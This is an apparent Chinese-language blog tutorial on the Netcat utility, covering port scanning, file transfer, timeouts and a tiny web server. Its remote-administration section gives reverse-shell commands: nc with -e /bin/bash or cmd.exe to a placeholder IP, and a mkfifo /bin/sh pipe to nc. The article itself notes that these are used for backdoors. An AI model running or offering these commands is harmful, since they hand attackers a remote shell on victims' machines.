网络探测,shell反弹,文档传输,远程管理,这个30K小工具我真服

前言

小助手今天说的这个工具,是Linux下网络探测必备,在故障排查,远程连接中,简单方便,配上管道符操作,可以组装成强大的功能。

他就是 Nmap 工具包内的 Ncat


网络探测,shell反弹,文档传输,远程管理,这个30K小工具我真服


介绍

Netcat是用于跨TCP和UDP端口读写数据的实用程序。

它可以用来做很多很酷的事情,比如文件传输,端口扫描,端口重定向,回溯别人的电脑,制作一个简单的聊天程序,用于网络故障排除等等,这就是为什么它被称为瑞士军刀。

此外,现在几乎所有的Linux发行版都预装了它,主要由网络管理员、DevOps和安全工程师用于他们的日常小任务。


Netcat-Traditional与Netcat-OpenBSD的区别

Netcat有两个类似的软件包,它们之间略有不同。

Netcat-Traditional包括一个附加的‘-e’选项,可用于将程序(即bash)与Netcat绑定。此功能对于远程管理非常有用。

Netcat-OpenBSD对IPv6和代理有一些额外的支持。


端口扫描

要扫描打开的端口,请使用“-z”选项。在UDP情况下,Netcat将尝试连接到每个端口,而不发送任何数据或非常有限的数据。键入以下内容

<code>ubuntu@ubuntu:~$ nc -z -v example.com 80
......
example.com [x.x.x.x] 80 (http) open/<code>

扫描一系列端口键入一下内容

<code>ubuntu@ubuntu:~$ nc -z -nv 192.168.1.2 20-80
(UNKNOWN) [192.168.1.2] 80 (http) open
(UNKNOWN) [192.168.1.2] 22 (ssh) open/<code>


文件传输

Netcat的另一个有用用例是远程计算机之间的文件传输。您可以将文本和二进制文件从一台PC发送到另一台PC。我们将以Netcat为例,尝试将文件“file.pdf”从Linux PC发送到Windows PC[IP 192.168.1.2]。

在接收方windows主机上键入以下内容

<code>C:\\Users> nc -nvlp 1248 > file.pdf
Listening on [0.0.0.0] (family 2, port 1248)/<code>

在发送方linux主机上键入以下内容

<code>ubuntu@ubuntu:~$ nc -nv 192.168.1.2 1248 < file.pdf
Connection to 192.168.1.2 1248 port [tcp/*] succeeded!/<code>


远程管理

Netcat最好的用例之一是远程管理,这意味着您可以使用Netcat控制其他人的PC。

Netcat-Traditional附带‘-e’选项,可用于将程序(即Windows中的cmd.exe或Linux中的bash)与端口绑定,这意味着Netcat将充当程序与远程PC之间的通信器。

Netcat将从远程PC接收命令,在本地系统上执行,并将结果发送回远程PC。

此功能被广泛用于恶意目的,在PC和服务器中保留后门。

此功能仅在Netcat-Traditional中可用,但通过一点小技巧,Netcat-OpenBSD也可以用于相同的目的。

也就是说你可以用两种方式来控制别人的电脑。


网络探测,shell反弹,文档传输,远程管理,这个30K小工具我真服


当受控计算机在NAT之后或没有公网IP时使用反弹shell,攻击者侦听端口并等待从受控计算机发送连接。

要使用Netcat获取反弹shell,您需要使用Netcat侦听端口。在攻击者计算机上键入以下内容,

<code>ubuntu@ubuntu:~$ nc -nvlp 1248
Listening on [0.0.0.0] (family 2, port 1248)/<code>

在受控计算机上,如果是Linux运行

<code>ubuntu@ubuntu:~$ nc -nv [IP_ADDR] 1248 -e /bin/bash/<code>

如果是Windows运行

<code>C:\\Users> nc -nv [IP_ADDR] 1248 -e cmd.exe/<code>

Netcat-Openbsd中 -e 选项不受支持,所以需要曲线救国

<code>ubuntu@ubuntu:~$ rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc [IP_ADDR] 1248 >/tmp/f/<code>


简单web服务器

您还可以使用另一个简单的技巧将Netcat用作最小的单页面Web服务器。

这个Web服务器非常简单,没有特殊配置,我们将使用它将HTML代码发送到浏览器。

<code>ubuntu@ubuntu:~$ while true ; do  echo -e "HTTP/1.1 200 OK\\n\\n $(echo "

server by netcat

")" | nc -nvlp 1248 ;
done
Listening on [0.0.0.0] (family 2, port 1248)/<code>

然后使用curl请求该路由地址

<code>ubuntu@ubuntu:~$ curl http://127.0.0.1:1248/

server by netcat

/<code>


指定会话超时时间

您可以使用“-w”选项指定Netcat会话的超时。Netcat将在指定时间超时后自动断开其会话。

<code>ubuntu@ubuntu:~$ nc -w 30 -nvlp 1248
Listening on [0.0.0.0] (family 2, port 1248)/<code>


客户端监听守护

客户端就是断开,也坚持监听请求。在正常模式下,当客户端关闭连接时,Netcat服务器会关闭并停止侦听端口。您可以使用“-k”选项保持服务器正常运行

<code>ubuntu@ubuntu:~$ nc -k -nlvp 1248
Listening on [0.0.0.0] (family 2, port 1248)/<code>


写在最后

Netcat是一种简单而高效的实用程序,可用于许多简单的日常任务。

它预装在几乎所有类似UNIX的操作系统中,可用于各种任务。

快去测试一下吧。


【本文由 发布,持续分享编程故事,欢迎关注】


分享到:


相關文章: